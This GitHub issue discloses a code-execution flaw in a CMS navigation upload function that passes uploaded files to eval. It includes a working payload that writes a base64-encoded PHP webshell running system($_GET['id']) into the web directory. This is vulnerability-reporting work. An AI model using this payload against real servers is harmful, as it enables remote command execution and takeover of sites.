Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code execution in navigation/upload #553

Closed
pxss opened this issue Feb 12, 2020 · 0 comments
Closed

Code execution in navigation/upload #553

pxss opened this issue Feb 12, 2020 · 0 comments

Comments

@pxss
Copy link

pxss commented Feb 12, 2020

c1

upload function:
c2
$This-> fuel-> navigation-> upload ($ params) was called

$This-> fuel-> navigation-> upload function:
c3
` $file = read_file($file_path);

	if (empty($file))
	{
		return FALSE;
	}

	// strip any php tags
	$file = str_replace('<?php', '', $file);
	
	// run xss_clean on it 
	$file = xss_clean($file);
	
	// now evaluate the string to get the nav array
	@eval($file);`

Only uploaded code <? Php tags replaced with spaces And filtered the xss tags.
Then executed the code @eval ($ file);
So we can construct php code to write webshell to web directory.
code:
c4

file_put_contents("aaaaaa.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydpZCddKTs/Pg=="));
Because the <? Php tag is filtered, we use base64 to encode the command execution code
Then upload
c5
Although the error is prompted, our code has been executed, and we can see the generated files on the web and directories.
c6
c7

daylightstudio pushed a commit that referenced this issue Feb 13, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants